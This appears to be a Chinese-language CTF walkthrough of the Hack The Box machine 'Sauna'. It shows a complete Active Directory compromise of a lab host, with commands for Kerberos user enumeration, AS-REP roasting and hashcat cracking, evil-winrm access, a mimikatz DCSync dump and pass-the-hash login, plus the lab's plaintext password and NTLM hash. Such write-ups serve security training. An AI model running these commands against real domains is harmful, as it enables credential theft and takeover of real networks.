Hack The Box——Sauna

目录

简介

信息收集

端口扫描

Web信息收集

漏洞发现

生成社工字典

用户名枚举

弱口令枚举

漏洞利用

权限提升

系统信息收集

提权辅助

Hash转储

总结

附

---

简介

这台靶机虽然算简单，但是对首次接触Active Directory域渗透的我来说是比较难的。通过在网站发现的用户名构造字典利用kerberos协议枚举域内用户名，然后利用配置不当枚举域用户的密码，使用获取到的域用户和密码通过5985端口的远程管理服务登录域控主机获得域用户FSmith的Shell，接着使用提权辅助脚本发现域用户svc_loanmgr的密码，进而转储Administrator密码HASH，从而得到域管理员权限的Shell。

信息收集

端口扫描

使用nmap --min-rate 10000 -T5 -A -p1-65535 10.10.10.175扫描端口及服务发现开启的端口非常的多，如图：

Web信息收集

查看web服务各功能及源代码，未发现获得Shell的漏洞，网站时静态的，通过W3layouts生成，如图：

在About菜单下发现公司的一些人名，如图：

扫描网站目录也未发现有价值的线索，如图：

漏洞发现

枚举135端口无果，查看445端口的共享文件无果，然后看到88端口运行着kerberos服务，389端口和3268端口都运行着ldap服务，然后使用nmap -sV 10.10.10.175 --script ldap*.nse扫描ldap漏洞，结果如下：

Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-31 09:53 EDT
Nmap scan report for 10.10.10.175
Host is up (0.36s latency).
Not shown: 989 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-03-31 20:53:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
| ldap-brute: 
|   root:<empty> => Valid credentials
|   admin:<empty> => Valid credentials
|   administrator:<empty> => Valid credentials
|   webadmin:<empty> => Valid credentials
|   sysadmin:<empty> => Valid credentials
|   netadmin:<empty> => Valid credentials
|   guest:<empty> => Valid credentials
|   user:<empty> => Valid credentials
|   web:<empty> => Valid credentials
|_  test:<empty> => Valid credentials
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=EGOTISTICAL-BANK,DC=LOCAL
|       ldapServiceName: EGOTISTICAL-BANK.LOCAL:sauna$@EGOTISTICAL-BANK.LOCAL
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       serverName: CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
|       isSynchronized: TRUE
|       highestCommittedUSN: 53307
|       dsServiceName: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       dnsHostName: SAUNA.EGOTISTICAL-BANK.LOCAL
|       defaultNamingContext: DC=EGOTISTICAL-BANK,DC=LOCAL
|       currentTime: 20200331205614.0Z
|_      configurationNamingContext: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| ldap-search: 
|   Context: DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: DC=EGOTISTICAL-BANK,DC=LOCAL
|         objectClass: top
|         objectClass: domain
|         objectClass: domainDNS
|         distinguishedName: DC=EGOTISTICAL-BANK,DC=LOCAL
|         instanceType: 5
|         whenCreated: 2020/01/23 05:44:25 UTC
|         whenChanged: 2020/03/31 19:42:00 UTC
|         subRefs: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
|         subRefs: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
|         subRefs: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|         uSNCreated: 4099
|         uSNChanged: 53269
|         name: EGOTISTICAL-BANK
|         objectGUID: 504e6ec-c122-a143-93c0-cf487f83363
|         replUpToDateVector: x02x00x00x00x00x00x00x00x02x00x00x00x00x00x00x00xFDZx85x92FxDE^AxAAVnj@#xF6x0Cx0BxD0x00x00x00x00x00x00x07.x94x14x03x00x00x00@xBExE0xB3xC6%xECDxB2xB9x9FxF8DxB2xEC       xB0x00x00x00x00x00x00xD4x04Rx14x03x00x00x00
|         objectSid: 1-5-21-2966785786-3096785034-1186376766
|         wellKnownObjects: B:32:6227F0AF1FC2410D8E3BB10615BB5B0F:CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:F4BE92A4C777485E878E9421D53087DB:CN=Microsoft,CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:09460C08AE1E4A4EA0F64AEE7DAA1E5A:CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:22B70C67D56E4EFB91E9300FCA3DC1AA:CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:18E2EA80684F11D2B9AA00C04F79F805:CN=Deleted Objects,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:2FBAC1870ADE11D297C400C04FD8D5CD:CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:AB8153B7768811D1ADED00C04FD8D5CD:CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:AB1D30F3768811D1ADED00C04FD8D5CD:CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:A361B2FFFFD211D1AA4B00C04FD7D83A:OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:AA312825768811D1ADED00C04FD8D5CD:CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:A9D1CA15768811D1ADED00C04FD8D5CD:CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
|         objectCategory: CN=Domain-DNS,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|         gPLink: [LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL;0]
|         dSCorePropagationData: 1601/01/01 00:00:00 UTC
|         masteredBy: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|         msDs-masteredBy: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|         msDS-IsDomainFor: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|         dc: EGOTISTICAL-BANK
|     dn: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
|_    dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL
3269/tcp open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/31%Time=5E834B65%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"x1ex06x81x04x01x07version
SF:x04bindx10x03");
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 216.04 seconds

生成社工字典

发现ldap的一些合法凭据，域信息。将发现的用户名和前面的人名根据Active Directory用户命名规则生成一份用户名字典，如图：

用户名枚举

尝试使用kerbrute枚举域内用户，发现存在administrator、sauna和FSmith用户，如图：

弱口令枚举

然后枚举域内用户的密码，使用./kerbrute_linux_amd64 bruteuser -t 16 --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL /usr/share/wordlists/rockyou.txt administrator，然而并没用得到密码，不知道什么原因。然后使用impacket中的GetNPUsers.py枚举开启“不要求Kerberos预身份验证”的Hash值，获取到FSmith用户的Hash值，如图：

然后将Hash值保存到hash.txt文件中，使用hashcat或john进行破解，从上图中可以看出使用的Hash算法是Kerberos 5 AS-REP，因此使用hashcat的hash模式为18200。使用hashcat -m 18200 --force hash.txt /usr/share/wordlists/rockyou.txt成功破解FSmith用户的密码，如图：

也可以使用john进行破解（使用john尝试很多次才获得结果，每次都破解成功了但是很少显示破解结果），如图： 

漏洞利用

使用获取到的用户名和密码尝试通过445端口执行命令，结果共享目录没有写权限，如图：

使用smbmap检查文件夹共享权限，如图：

然而只对几个文件夹有读权限，然后使用smbmap -H 10.10.10.175 -u fsmith -p "Thestrokes23" -R IPC$查看IPC$文件夹，未发现文件，查看NETLOGON文件夹也未发现文件，在print$和SYSVOL文件夹下发现文件（一般会在SYSVOL<DOMAIN> Policies下的xml文件中含有域用户的密码），如图：

使用smbclient //10.10.10.175/print$ -U FSmith连接文件夹查看文件，未发现有用的信息。然后使用impacket中的GetADUsers.py发现域内其他用户，如图：

使用impacket中的GetUserSPNs.py发现一个新用户，且在SAUNA域中，如图：

经过重置靶机，重新扫描发现目标主机开启了5985端口，因此可以使用evil-winrm连接目标主机，成功获得FSmith用户shell，如图：

权限提升

系统信息收集

使用systeminfo和Get-WmiObject -Class Win32_OperatingSystem查看系统版本信息都未成功，使用cmd /ver成功获得系统版本信息，如图：

使用Get-HotFix查看安装的补丁信息也未成功，看来不好利用内核漏洞了。

提权辅助

使用windows-privesc-check提权辅助未发现有用信息。然后使用winPEAS查看提权信息，发现一些错误配置，如图：

使用该用户名和密码查看SYSVOL文件夹内容失败，使用GetUserSPNs.py查找域内其他用户Kerberos Hash值报错，看到之前发现的域内用户svc_loanmgr，想到应该是这里发现的用户名不正确。使用用户名svc_loanmgr查看SYSVOL文件夹内容未在Policies下发现xml文件，使用GetUserSPNs.py也未发现域内其他用户Kerberos Hash值。

Hash转储

尝试使用./mimikatz.exe "lsadump::dcsync /user:administrator" "exit"获取域控管理员用户密码成功，如图：

然后使用evil-winrm -u administrator -H d9485863c1e9e05851aa40cbb4ab9dff -i 10.10.10.175登录目标主机成功，如图：

总结

在发现无法从80端口进入目标系统后，发现389、636和3268端口运行着ldap服务，猜测可能存在ldap注入，然后用Google搜素其他开放的端口的漏洞，发现Active Directory攻击正是利用了kerberos服务和ldap服务（通过本地搭建环境也证实了这一点），然后边学习边实践终于拿下了该靶机。

附

一些活动目录渗透测试资料：

• https://hausec.com/domain-penetration-testing/
• https://github.com/infosecn1nja/AD-Attack-Defense
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md